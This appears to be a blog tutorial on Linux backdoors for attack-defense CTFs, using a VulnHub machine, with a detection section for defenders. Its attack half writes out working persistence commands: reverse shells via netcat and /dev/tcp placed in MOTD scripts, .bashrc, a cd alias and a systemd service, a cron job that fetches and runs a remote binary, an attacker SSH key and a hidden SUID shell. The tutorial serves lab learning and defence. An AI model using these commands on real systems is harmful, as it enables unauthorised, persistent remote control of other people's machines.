Linux Backdoors

Photo by Dima Pechurin on Unsplash

In Attack-Defense CTF, leaving backdoors is an important part of maintaining access to the target system. As a result, learning some of the backdoor techniques is essential, not only for attackers but also for defenders.

Backdoor, what is it?

Simply put, a backdoor is like a secret entrance that lets you access a system without going through the usual authentication steps. It could be a hidden piece of code, a script, or a program placed on the system for the sake of persistence. Basically, it gives you quick and easy access, even if the initial access point gets patched.

As defenders, why should we care?

Of course! It’s like playing chess; if you can anticipate your opponent’s moves, you’re more likely to win the game. It’s worth to learn the attackers’ sneaky methods to protects your systems effectively.

Common Backdoor Techniques

Now that we know what a backdoor is and why it’s helpful for defenders to know how to one step ahead. So let’s find out!

For this demonstration, I’ll be using the Pinky’s Palace machine from VulnHub as our victim server and let’s assume it has been completely compromised.

1. SSH Backdoor: authorized_keys file

The authorized_keys file, located at ~/.ssh/authorized_keys, contains a list of public keys that are used for authenticating users. These keys correspond to specific individuals who are authorized to lo in to a particular account on your server. Attackers could use that file for backdoor by inserting their own public keys. By doing so, they could falsely authorize themselves and gain instant access to the system through SSH.

Now let’s have a look at the image below which shows the exploitation steps to gain root access on the victim’s server (Pinky’s Palace).

image-20210526004056632

As an attacker, you don’t want to repeat all these exploitation steps all over again to gain root access.

Instead, on the attacking machine, we can generate a new pair of SSH keys for backdoor purpose with the following command:

$ ssh-keygen -a 50 -t ed2551 -f backdoor_ssh -q -N ""

It will produce 2 files: one is a private key (backdoor_ssh) and the other is a public key (backdoor_ssh.pub).

By inserting the public key (backdoor_ssh.pub) into the authorized_keys file of the root of our victim server, we have authorized ourselves to gain root access via SSH.

root@pinkys-palace:~# mkdir -p /root/.ssh/ && echo 'ssh-ed25519 AAAAC3NzaC1lZ.... root@kali' > /root/.ssh/authorized_keys

image-20210526005156382

2. SSH Backdoor: MOTD

Motd (Message of the day) is the banner that appears when you log in to a server using SSH. It displays messages about system informations to users. The message can be customized, which you can find, on most Debian-based distro, under /etc/update-motd.d/. By default, regular users don’t have write permission on that directory.

This is one of the cool tricks I’ve learned from HackTheBox machine called Traceback.

In the image below image, there is only one motd script called 10-uname. As I login into the machine using SSH, the output of the script gets printed.

image-20210526010220513

As an attacker, after gaining root access, I could place a new script, such as a reverse shell, in the /etc/update-motd.d directory as a backdoor. Then, I could simply set up a netcat listener to maintain access later.

root@pinkys-palace:/etc/update-motd.d# echo -e '#!/bin/sh\nnc 192.168.2.103 9001 -e /bin/bash &' > 20-backdoor && chmod +x 20-backdoor

If someone logs in to the server via SSH, the backdoor script would be executed and would connect back to my netcat listener, giving me shell access.

image-20210526010934360

In the image above, I simulated an SSH login using low privilege account, but did you notice that I ended up with root access?

Here is the answer:

​ Executable scripts in /etc/update-motd.d/* are executed by pam_motd(8) as the root user at ​ each login, and this information is concatenated in /var/run/motd.

3. Bashrc file

The .bashrc file is a script that runs whenever a user starts a new interactive shell session in the Bash shell. A new interactive shell session can be triggered in several ways, here are some common actions that lead to this:

image-20210526005325944

In the image above, I have inserted a non malicious line script echo "I'm triggered" to my .bashrc. But, as an attacker, we could put something like reverse shell into the file and set up another netcat listener to maintain access.

pinky@pinkys-palace:~$ echo 'nc 192.168.2.103 9001 -e /bin/bash >/dev/null &' > .bashrc	

And then, whenever the user logs in or opens a new terminal session, the backdoor would be executed and connect back to my listener.

image-20210525220025256

It’s also possible to insert malicious code wrapped in an alias within the bashrc file. For example:

alias cd='$(nc 192.168.2.103 9001 -e /bin/bash&); cd'

When a user invokes cd, it actually executes the reverse shell command embedded in the alias first.

image-20210526002305189

Here are some examples of alias backdoors:

4. Cron job

Cron is a feature from Linux/UNIX-like OS that can be used to periodically perform a specific job or task just like Task Scheduler feature in Windows. This feature also becomes an effective vector for maintaining long-term access to a compromised system. For example:

root@pinkys-palace:~# echo '* * * * * root cd /tmp; wget 192.168.2.103/backdoor && chmod +x backdoor && ./backdoor' > /etc/cron.d/backdoor

What the task above does is it will download a malicious binary called ‘backdoor’ from my attacking machine, and the backdoor is then executed once every minute.

image-20210625141344607

For stealthy reasons, attackers may even embed a backdoor within the legitimate scheduled tasks.

5. Backdoor as a Service

An attacker can also create a backdoor as a service (BaaS). For example (backdoor.service):

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/192.168.2.103/9001 0>&1"
[Install]
WantedBy=multi-user.target'

When the service is started, it establishes a reverse shell connection to the attacker’s system which then allows the attacker to remotely control the compromised machine.

root@pinkys-palace:/etc/systemd/system# systemctl start backdoor.service

image-20210526013637397

It can be enabled on boot to ensure that the reverse shell connects back to the attacker’s system automatically each time the compromised machine starts.

root@pinkys-palace:/etc/systemd/system# systemctl enable backdoor.service

6. SUID

The last one on this post is SUID. SUID allows another user to run an executable binary as the owner of that binary. For example, I can make a copy of the bash binary (owned by root) called .backdoor (notably starting with a dot to conceal it) and set the SUID permission on it for a low privilege user who has been compromised.

image-20210526020936681

Defenders Side

Before proceeding, it’s important to state that if your server is compromised in real life, the best course of action is often to restore it from a backup or completely rebuild it from scratch. This recommendation is based on the fact that backdoors can be obfuscated and may be combined with other techniques, not to mention the possibility of a rootkit being present, making them difficult to detect and remove.

Also what I share here might not be that effective, but here is how I usually deal with backdoors in attack-defense CTF scenarios.

Authorized_keys and bashrc file

Make sure to regularly check the all the users authorized_keys file.

In the image below, we see a public key associated with the foreign hostname kali instead of the legitimate pinkys-palace. This difference should raise your suspicion, as it could indicate a potential backdoor.

image-20210605091730851

However, attackers often disguise their keys to appear legitimate. My workaround here is we can create a baseline / “skeleton” file of the authorized_keys and set a cron job that periodically reverts the file back to its original state. This can be accomplished remotely using scp, ensuring that your baseline file secure.

You can find the skeleton file of .bashrc at /etc/skel.

You can apply this approach to .bashrc files as well.

SSH Motd

It’s not always placed under /etc/update-motd.d/, but make sure the motd directory is only writable by root, note the default list of motd files and apply the same thing as above (skeleton file) because the attackers might have inserted a backdoor in the original files.

We could also do some ‘forensics’ using timestamp:

root@MSI:/etc/update-motd.d# ls --full-time

For example, these files with the timestamp 000000000 (nano) in the image below have most likely not been modified and are still in their original state.

image-20210605092751344

After inserting a non-malicious line, the timestamp changed. From here, it’s safe to assume that someone/something has modified it.

image-20210605093121574

Cron jobs and Services

For this one, monitoring is the key. We can monitor the network sockets and processes using the netstat or the ss command and the ps command. Be suspicious to any program if it has an IP and port supplied as its arguments. Also make sure these commands aren’t aliased by the attackers (like this one).

For this, we can look for any unwanted open ports using this command:

$ netstat -antp | grep LISTEN

To find a suspicious connection we can use this command:

$ netstat -antp | grep ESTABLISHED

image-20210526034616621

Sometimes the state of a reverse shell backdoor is neither ESTABLISHED nor LISTEN but SYN_SENT. This occurs when the backdoor fails to reach out the attacker. To find this we can use the following command:

$ netstat -antp | grep SYN_SENT

Next, we could check each user’s crontab using the following commands:

$ for user in $(cat /etc/passwd | cut -f1 -d: ); do echo $user; crontab -u $user -l; done

# Only users who have login shell
$ for user in $(cat /etc/passwd | grep sh$ | cut -f1 -d: ); do echo $user; crontab -u $user -l; done

There is also the ps -f command which is quite effective at visualizing the process tree. For example, in the image below we can easily identify the “culprit” that keeps opening the HTTPS port (443) could be in the .bashrc file. It’s because the backdoor gets triggered every time we launch a new interactive shell session.

image-20210526034217561

If you prefer the detailed view, consider to use ps auxfww to show process tree with username, TTY, and a wide output.

I also like to use the watch command to actively monitor the network sockets and processes.

# monitor process
$ watch -n 1 "ps auxfww | grep suspected-process"
# monitor net socket
$ watch -n 1 "netstat -antp"
# monitor net socket with sus IP
$ watch -n1 "ss -atp | grep '10.14\|168.24'"

For a backdoor that run as a service, we can try to list all the services with the following command and see if there’s an unwanted one.

$ systemctl list-unit-files --type=service

Or we can also directly visit the services directory. It’s depends on what OS the server is using, but we can start to look at /lib/systemd/ and sort them by date modified.

$ find /lib/systemd -type f -iname '*\.service' -exec ls -lrt "{}" +;

Finding SUID

To find some suspicious SUID we can use the find commands. It can also detect the SUID that started with dot!

root@pinkys-palace:/etc/update-motd.d# find / -type f -perm 4755 2>/dev/null

image-20210526035623660

However, I realize that I overlooked an important detail in this section. The -perm 4755 option will only locate files with exactly those permissions. This means that files with permissions set to 4755, 4765, 4701, and other variations will be excluded from the search. To ensure we can identify all files with the SUID bit set, we should modify the command to:

$ find / -type f -perm -u=s 2>/dev/null

Okay, that’s all I could share with you, I hope you found the information useful and insightful, If you have any questions or additional insights to share, feel free to reach out.

References